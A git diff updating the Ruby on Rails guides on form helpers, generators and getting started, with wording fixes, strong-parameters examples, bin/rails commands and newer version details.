WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays.
@@ -735,7 +774,7 @@ You might want to render a form with a set of edit fields for each of a person's
<%= form_for @person do |person_form| %>
<%= person_form.text_field :name %>
<% @person.addresses.each do |address| %>
- <%= person_form.fields_for address, index: address do |address_form|%>
+ <%= person_form.fields_for address, index: address.id do |address_form|%>
<%= address_form.text_field :city %>
<% end %>
<% end %>
@@ -758,9 +797,16 @@ This will result in a `params` hash that looks like
{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
```
-Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created).
+Rails knows that all these inputs should be part of the person hash because you
+called `fields_for` on the first form builder. By specifying an `:index` option
+you're telling Rails that instead of naming the inputs `person[address][city]`
+it should insert that index surrounded by [] between the address and the city.
+This is often useful as it is then easy to locate which Address record
+should be modified. You can pass numbers with some other significance,
+strings or even `nil` (which will result in an array parameter being created).
-To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example
+To create more intricate nestings, you can specify the first part of the input
+name (`person[address]` in the previous example) explicitly:
```erb
<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
@@ -786,26 +832,26 @@ As a shortcut you can append [] to the name and omit the `:index` option. This i
produces exactly the same output as the previous example.
-Forms to external resources
+Forms to External Resources
---------------------------
-If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
+Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
```erb
-<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token') do %>
+<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %>
Form contents
<% end %>
```
-Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option:
+Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To not send a token, simply pass `false` to the `:authenticity_token` option:
```erb
-<%= form_tag 'http://farfar.away/form', authenticity_token: false) do %>
+<%= form_tag 'http://farfar.away/form', authenticity_token: false do %>
Form contents
<% end %>
```
-The same technique is available for the `form_for` too:
+The same technique is also available for `form_for`:
```erb
<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
@@ -824,29 +870,26 @@ Or if you don't want to render an `authenticity_token` field:
Building Complex Forms
----------------------
-Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
+Many apps grow beyond simple forms editing a single object. For example, when creating a `Person` you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
### Configuring the Model
-Active Record provides model level support via the `accepts_nested_attributes_for` method:
+Active Record provides model level support via the `accepts_nested_attributes_for` method:
```ruby
class Person < ActiveRecord::Base
has_many :addresses
accepts_nested_attributes_for :addresses
-
- attr_accessible :name, :addresses_attributes
end
class Address < ActiveRecord::Base
belongs_to :person
- attr_accessible :kind, :street
end
```
-This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. When using `attr_accessible` or `attr_protected` you must mark `addresses_attributes` as accessible as well as the other attributes of `Person` and `Address` that should be mass assigned.
+This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
-### Building the Form
+### Nested Forms
The following form allows a user to create a `Person` and its associated addresses.
@@ -869,42 +912,58 @@ The following form allows a user to create a `Person` and its associated address
```
-When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
+When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.
```ruby
def new
@person = Person.new
- 3.times { @person.addresses.build}
+ 2.times { @person.addresses.build}
end
```
-`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like
+The `fields_for` yields a form builder. The parameters' name will be what
+`accepts_nested_attributes_for` expects. For example, when creating a user with
+2 addresses, the submitted parameters would look like:
```ruby
{
- :person => {
- :name => 'John Doe',
- :addresses_attributes => {
- '0' => {
- :kind => 'Home',
- :street => '221b Baker Street',
- },
- '1' => {
- :kind => 'Office',
- :street => '31 Spooner Street'
- }
- }
+ 'person' => {
+ 'name' => 'John Doe',
+ 'addresses_attributes' => {
+ '0' => {
+ 'kind' => 'Home',
+ 'street' => '221b Baker Street'
+ },
+ '1' => {
+ 'kind' => 'Office',
+ 'street' => '31 Spooner Street'
+ }
}
+ }
}
```
The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
-If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`.
### The Controller
-You do not need to write any specific controller code to use nested attributes. Create and update records as you would with a simple form.
+As usual you need to
+[whitelist the parameters](action_controller_overview.html#strong-parameters) in
+the controller before you pass them to the model:
+
+```ruby
+def create
+ @person = Person.new(person_params)
+ # ...
+end
+
+private
+ def person_params
+ params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+ end
+```
### Removing Objects
@@ -917,7 +976,9 @@ class Person < ActiveRecord::Base
end
```
-If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
+If the hash of attributes for an object contains the key `_destroy` with a value
+of `1` or `true` then the object will be destroyed. This form allows users to
+remove addresses:
```erb
<%= form_for @person do |f| %>
@@ -925,7 +986,7 @@ If the hash of attributes for an object contains the key `_destroy` with a value
<ul>
<%= f.fields_for :addresses do |addresses_form| %>
<li>
- <%= check_box :_destroy%>
+ <%= addresses_form.check_box :_destroy%>
<%= addresses_form.label :kind %>
<%= addresses_form.text_field :kind %>
...
@@ -935,6 +996,16 @@ If the hash of attributes for an object contains the key `_destroy` with a value
<% end %>
```
+Don't forget to update the whitelisted params in your controller to also include
+the `_destroy` field:
+
+```ruby
+def person_params
+ params.require(:person).
+ permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
+end
+```
+
### Preventing Empty Records
It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set.
@@ -950,4 +1021,4 @@ As a convenience you can instead pass the symbol `:all_blank` which will create
### Adding Fields on the Fly
-Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice.
+Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice.
diff --git a/guides/source/generators.md b/guides/source/generators.md
index 62de5a70bb..f5d2c67cb4 100644
--- a/guides/source/generators.md
+++ b/guides/source/generators.md
@@ -8,6 +8,7 @@ After reading this guide, you will know:
* How to see which generators are available in your application.
* How to create a generator using templates.
* How Rails searches for generators before invoking them.
+* How Rails internally generates Rails code from the templates.
* How to customize your scaffold by creating new generators.
* How to customize your scaffold by changing generator templates.
* How to use fallbacks to avoid overwriting a huge set of generators.
@@ -23,19 +24,19 @@ When you create an application using the `rails` command, you are in fact using
```bash
$ rails new myapp
$ cd myapp
-$ rails generate
+$ bin/rails generate
```
You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
```bash
-$ rails generate helper --help
+$ bin/rails generate helper --help
```
Creating Your First Generator
-----------------------------
-Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
+Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options for parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:
@@ -47,20 +48,20 @@ class InitializerGenerator < Rails::Generators::Base
end
```
-NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
+NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
To invoke our new generator, we just need to do:
```bash
-$ rails generate initializer
+$ bin/rails generate initializer
```
Before we go on, let's see our brand new generator description:
```bash
-$ rails generate initializer --help
+$ bin/rails generate initializer --help
```
Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator:
@@ -82,7 +83,7 @@ Creating Generators with Generators
Generators themselves have a generator:
```bash
-$ rails generate generator initializer
+$ bin/rails generate generator initializer
create lib/generators/initializer
create lib/generators/initializer/initializer_generator.rb
create lib/generators/initializer/USAGE
@@ -102,7 +103,7 @@ First, notice that we are inheriting from `Rails::Generators::NamedBase` instead
We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
```bash
-$ rails generate initializer --help
+$ bin/rails generate initializer --help
Usage:
rails generate initializer NAME [options]
```
@@ -130,7 +131,7 @@ end
And let's execute our generator:
```bash
-$ rails generate initializer core_extensions
+$ bin/rails generate initializer core_extensions
```
We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.
@@ -169,14 +170,15 @@ end
Before we customize our workflow, let's first see what our scaffold looks like:
```bash
-$ rails generate scaffold User name:string
+$ bin/rails generate scaffold User name:string
invoke active_record
- create db/migrate/20091120125558_create_users.rb
+ create db/migrate/20130924151154_create_users.rb
create app/models/user.rb
invoke test_unit
create test/models/user_test.rb
create test/fixtures/users.yml
- route resources :users
+ invoke resource_route
+ route resources :users
invoke scaffold_controller
create app/controllers/users_controller.rb
invoke erb
@@ -190,15 +192,21 @@ $ rails generate scaffold User name:string
create test/controllers/users_controller_test.rb
invoke helper
create app/helpers/users_helper.rb
- invoke test_unit
- create test/helpers/users_helper_test.rb
- invoke stylesheets
- create app/assets/stylesheets/scaffold.css
+ invoke jbuilder
+ create app/views/users/index.json.jbuilder
+ create app/views/users/show.json.jbuilder
+ invoke assets
+ invoke coffee
+ create app/assets/javascripts/users.js.coffee
+ invoke scss
+ create app/assets/stylesheets/users.css.scss
+ invoke scss
+ create app/assets/stylesheets/scaffolds.css.scss
```
Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
-Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
+Our first customization on the workflow will be to stop generating stylesheet, JavaScript and test fixture files for scaffolds. We can achieve that by changing our configuration to the following:
```ruby
config.generators do |g|
@@ -206,20 +214,28 @@ config.generators do |g|
g.template_engine :erb
g.test_framework :test_unit, fixture: false
g.stylesheets false
+ g.javascripts false
end
```
-If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
+If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
```bash
-$ rails generate generator rails/my_helper
+$ bin/rails generate generator rails/my_helper
+ create lib/generators/rails/my_helper
+ create lib/generators/rails/my_helper/my_helper_generator.rb
+ create lib/generators/rails/my_helper/USAGE
+ create lib/generators/rails/my_helper/templates
```
-After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following:
+After that, we can delete both the `templates` directory and the `source_root`
+class method call from our new generator, because we are not going to need them.
+Add the method below, so our generator looks like the following:
```ruby
+# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
@@ -231,10 +247,11 @@ end
end
```
-We can try out our new generator by creating a helper for users:
+We can try out our new generator by creating a helper for products:
```bash
-$ rails generate my_helper products
+$ bin/rails generate my_helper products
+ create app/helpers/products_helper.rb
```
And it will generate the following helper file in `app/helpers`:
@@ -253,6 +270,7 @@ config.generators do |g|
g.template_engine :erb
g.test_framework :test_unit, fixture: false
g.stylesheets false
+ g.javascripts false
g.helper :my_helper
end
```
@@ -260,10 +278,10 @@ end
and see it in action when invoking the generator:
```bash
-$ rails generate scaffold Post body:text
+$ bin/rails generate scaffold Article body:text
[...]
invoke my_helper
- create app/helpers/posts_helper.rb
+ create app/helpers/articles_helper.rb
```
We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
@@ -273,6 +291,7 @@ Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper doe
To do that, we can change the generator this way:
```ruby
+# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
@@ -304,7 +323,7 @@ In Rails 3.0 and above, generators don't just look in the source root for templa
```erb
module <%= class_name %>Helper
- attr_reader :<%= plural_name %>, <%= plural_name.singularize %>
+ attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
end
```
@@ -316,11 +335,28 @@ config.generators do |g|
g.template_engine :erb
g.test_framework :test_unit, fixture: false
g.stylesheets false
+ g.javascripts false
end
```
If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`.
+Scaffold templates in Rails frequently use ERB tags; these tags need to be
+escaped so that the generated output is valid ERB code.
+
+For example, the following escaped ERB tag would be needed in the template
+(note the extra `%`)...
+
+```ruby
+<%%= stylesheet_include_tag :application %>
+```
+
+...to generate the following output:
+
+```ruby
+<%= stylesheet_include_tag :application %>
+```
+
Adding Generators Fallbacks
---------------------------
@@ -334,6 +370,7 @@ config.generators do |g|
g.template_engine :erb
g.test_framework :shoulda, fixture: false
g.stylesheets false
+ g.javascripts false
# Add a fallback!
g.fallbacks[:shoulda] = :test_unit
@@ -343,13 +380,14 @@ end
Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
```bash
-$ rails generate scaffold Comment body:text
+$ bin/rails generate scaffold Comment body:text
invoke active_record
- create db/migrate/20091120151323_create_comments.rb
+ create db/migrate/20130924143118_create_comments.rb
create app/models/comment.rb
invoke shoulda
create test/models/comment_test.rb
create test/fixtures/comments.yml
+ invoke resource_route
route resources :comments
invoke scaffold_controller
create app/controllers/comments_controller.rb
@@ -360,13 +398,17 @@ $ rails generate scaffold Comment body:text
create app/views/comments/show.html.erb
create app/views/comments/new.html.erb
create app/views/comments/_form.html.erb
- create app/views/layouts/comments.html.erb
invoke shoulda
create test/controllers/comments_controller_test.rb
invoke my_helper
create app/helpers/comments_helper.rb
- invoke shoulda
- create test/helpers/comments_helper_test.rb
+ invoke jbuilder
+ create app/views/comments/index.json.jbuilder
+ create app/views/comments/show.json.jbuilder
+ invoke assets
+ invoke coffee
+ create app/assets/javascripts/comments.js.coffee
+ invoke scss
```
Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
@@ -402,7 +444,7 @@ This command will generate the `Thud` application, and then apply the template t
Templates don't have to be stored on the local system, the `-m` option also supports online templates:
```bash
-$ rails new thud -m https://gist.github.com/722911.txt
+$ rails new thud -m https://gist.github.com/radar/722911/raw/
```
Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
@@ -412,7 +454,7 @@ Generator methods
The following are methods available for both generators and templates for Rails.
-NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
+NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
### `gem`
@@ -478,7 +520,7 @@ Replaces text inside a file.
gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
```
-Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.
+Regular Expressions can be used to make this method more precise. You can also use `append_file` and `prepend_file` in the same way to place code at the beginning and end of a file respectively.
### `application`
@@ -531,7 +573,7 @@ This method also takes a block:
```ruby
vendor "seeds.rb" do
- "puts 'in ur app, seeding ur database'"
+ "puts 'in your app, seeding your database'"
end
```
@@ -579,11 +621,11 @@ Creates an initializer in the `config/initializers` directory of the application
initializer "begin.rb", "puts 'this is the beginning'"
```
-This method also takes a block:
+This method also takes a block, expected to return a string:
```ruby
initializer "begin.rb" do
- puts "Almost done!"
+ "puts 'this is the beginning'"
end
```
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
index 02ec024e5b..dc63ae62b1 100644
--- a/guides/source/getting_started.md
+++ b/guides/source/getting_started.md
@@ -21,19 +21,22 @@ application from scratch. It does not assume that you have any prior experience
with Rails. However, to get the most out of it, you need to have some
prerequisites installed:
-* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or higher
-* The [RubyGems](http://rubygems.org/) packaging system
- * To learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1)
-* A working installation of the [SQLite3 Database](http://www.sqlite.org)
+* The [Ruby](https://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer.
+* The [RubyGems](https://rubygems.org) packaging system, which is installed with Ruby
+ versions 1.9 and later. To learn more about RubyGems, please read the [RubyGems Guides](http://guides.rubygems.org).
+* A working installation of the [SQLite3 Database](https://www.sqlite.org).
Rails is a web application framework running on the Ruby programming language.
If you have no prior experience with Ruby, you will find a very steep learning
-curve diving straight into Rails. There are some good free resources on the
-internet for learning Ruby, including:
+curve diving straight into Rails. There are several curated lists of online resources
+for learning Ruby:
-* [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com)
-* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)
-* [Why's (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/)
+* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/)
+* [reSRC's List of Free Programming Books](http://resrc.io/list/10/list-of-free-programming-books/#ruby)
+
+Be aware that some resources, while still excellent, cover versions of Ruby as old as
+1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day
+development with Rails.
What is Rails?
--------------
@@ -45,7 +48,7 @@ code while accomplishing more than many other languages and frameworks.
Experienced Rails developers also report that it makes web application
development more fun.
-Rails is opinionated software. It makes the assumption that there is a "best"
+Rails is opinionated software. It makes the assumption that there is the "best"
way to do things, and it's designed to encourage that way - and in some cases to
discourage alternatives. If you learn "The Rails Way" you'll probably discover a
tremendous increase in productivity. If you persist in bringing old habits from
@@ -54,24 +57,28 @@ learned elsewhere, you may have a less happy experience.
The Rails philosophy includes two major guiding principles:
-* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
-do it, rather than requiring you to specify every little thing through endless configuration files.
+* **Don't Repeat Yourself:** DRY is a principle of software development which
+ states that "Every piece of knowledge must have a single, unambiguous, authoritative
+ representation within a system." By not writing the same information over and over
+ again, our code is more maintainable, more extensible, and less buggy.
+* **Convention Over Configuration:** Rails has opinions about the best way to do many
+ things in a web application, and defaults to this set of conventions, rather than
+ require that you specify every minutiae through endless configuration files.
Creating a New Rails Project
----------------------------
The best way to use this guide is to follow each step as it happens, no code or
step needed to make this example application has been left out, so you can
-literally follow along step by step. You can get the complete code
-[here](https://github.com/lifo/docrails/tree/master/guides/code/getting_started).
+literally follow along step by step.
By following along with this guide, you'll create a Rails project called
-`blog`, a
-(very) simple weblog. Before you can start building the application, you need to
-make sure that you have Rails itself installed.
+`blog`, a (very) simple weblog. Before you can start building the application,
+you need to make sure that you have Rails itself installed.
-TIP: The examples below use # and $ to denote superuser and regular user terminal prompts respectively in a UNIX-like OS. If you are using Windows, your prompt will look something like c:\source_code>
+TIP: The examples below use `$` to represent your terminal prompt in a UNIX-like OS,
+though it may have been customized to appear differently. If you are using Windows,
+your prompt will look something like `c:\source_code>`
### Installing Rails
@@ -80,115 +87,169 @@ Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose
dollar sign `$` should be run in the command line. Verify that you have a
current version of Ruby installed:
+TIP: A number of tools exist to help you quickly install Ruby and Ruby
+on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org),
+while Mac OS X users can use [Tokaido](https://github.com/tokaido/tokaidoapp).
+
```bash
$ ruby -v
-ruby 1.9.3p327
+ruby 2.0.0p353
+```
+
+If you don't have Ruby installed have a look at
+[ruby-lang.org](https://www.ruby-lang.org/en/installation/) for possible ways to
+install Ruby on your platform.
+
+Many popular UNIX-like OSes ship with an acceptable version of SQLite3. Windows
+users and others can find installation instructions at the [SQLite3 website](https://www.sqlite.org).
+Verify that it is correctly installed and in your PATH:
+
+```bash
+$ sqlite3 --version
```
+The program should report its version.
+
To install Rails, use the `gem install` command provided by RubyGems:
```bash
$ gem install rails
```
-TIP. A number of tools exist to help you quickly install Ruby and Ruby
-on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use
-[Rails One Click](http://railsoneclick.com).
-
-To verify that you have everything installed correctly, you should be able to run the following:
+To verify that you have everything installed correctly, you should be able to
+run the following:
```bash
$ rails --version
```
-If it says something like "Rails 3.2.9", you are ready to continue.
+If it says something like "Rails 4.2.0", you are ready to continue.
### Creating the Blog Application
-Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself.
+Rails comes with a number of scripts called generators that are designed to make
+your development life easier by creating everything that's necessary to start
+working on a particular task. One of these is the new application generator,
+which will provide you with the foundation of a fresh Rails application so that
+you don't have to write it yourself.
-To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type:
+To use this generator, open a terminal, navigate to a directory where you have
+rights to create files, and type:
```bash
$ rails new blog
```
-This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in `Gemfile` using `bundle install`.
+This will create a Rails application called Blog in a `blog` directory and
+install the gem dependencies that are already mentioned in `Gemfile` using
+`bundle install`.
-TIP: You can see all of the command line options that the Rails
-application builder accepts by running `rails new -h`.
+TIP: You can see all of the command line options that the Rails application
+builder accepts by running `rails new -h`.
-After you create the blog application, switch to its folder to continue work directly in that application:
+After you create the blog application, switch to its folder:
```bash
$ cd blog
```
-The `rails new blog` command we ran above created a folder in your
-working directory called `blog`. The `blog` directory has a number of
-auto-generated files and folders that make up the structure of a Rails
-application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default:
+The `blog` directory has a number of auto-generated files and folders that make
+up the structure of a Rails application. Most of the work in this tutorial will
+happen in the `app` folder, but here's a basic rundown on the function of each
+of the files and folders that Rails created by default:
| File/Folder | Purpose |
| ----------- | ------- |
|app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.|
-|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)|
+|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, deploy or run your application.|
+|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).|
|config.ru|Rack configuration for Rack based servers used to start the application.|
|db/|Contains your current database schema, as well as the database migrations.|
-|doc/|In-depth documentation for your application.|
-|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) |
+|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the [Bundler website](http://bundler.io).|
|lib/|Extended modules for your application.|
|log/|Application log files.|
-|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
+|public/|The only folder seen by the world as-is. Contains static files and compiled assets.|
|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
|README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
-|script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
-|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html)|
-|tmp/|Temporary files (like cache, pid and session files)|
-|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).|
+|tmp/|Temporary files (like cache, pid, and session files).|
+|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.|
Hello, Rails!
-------------
-To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running.
+To begin with, let's get some text up on screen quickly. To do this, you need to
+get your Rails application server running.
### Starting up the Web Server
-You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running:
+You actually have a functional Rails application already. To see it, you need to
+start a web server on your development machine. You can do this by running the
+following in the `blog` directory:
```bash
-$ rails server
+$ bin/rails server
```
-TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme).
+TIP: Compiling CoffeeScript and JavaScript asset compression requires you
+have a JavaScript runtime available on your system, in the absence
+of a runtime you will see an `execjs` error during asset compilation.
+Usually Mac OS X and Windows come with a JavaScript runtime installed.
+Rails adds the `therubyracer` gem to the generated `Gemfile` in a
+commented line for new apps and you can uncomment if you need it.
+`therubyrhino` is the recommended runtime for JRuby users and is added by
+default to the `Gemfile` in apps generated under JRuby. You can investigate
+all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme).
-This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to <http://localhost:3000>. You should see the Rails default information page:
+This will fire up WEBrick, a web server distributed with Ruby by default. To see
+your application in action, open a browser window and navigate to
+<http://localhost:3000>. You should see the Rails default information page:
-![Welcome Aboard screenshot](images/rails_welcome.png)
+![Welcome aboard screenshot](images/getting_started/rails_welcome.png)
-TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. To verify the server has stopped you should see your command prompt cursor again. For most UNIX-like systems including Mac OS X this will be a dollar sign `$`. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server.
+TIP: To stop the web server, hit Ctrl+C in the terminal window where it's
+running. To verify the server has stopped you should see your command prompt
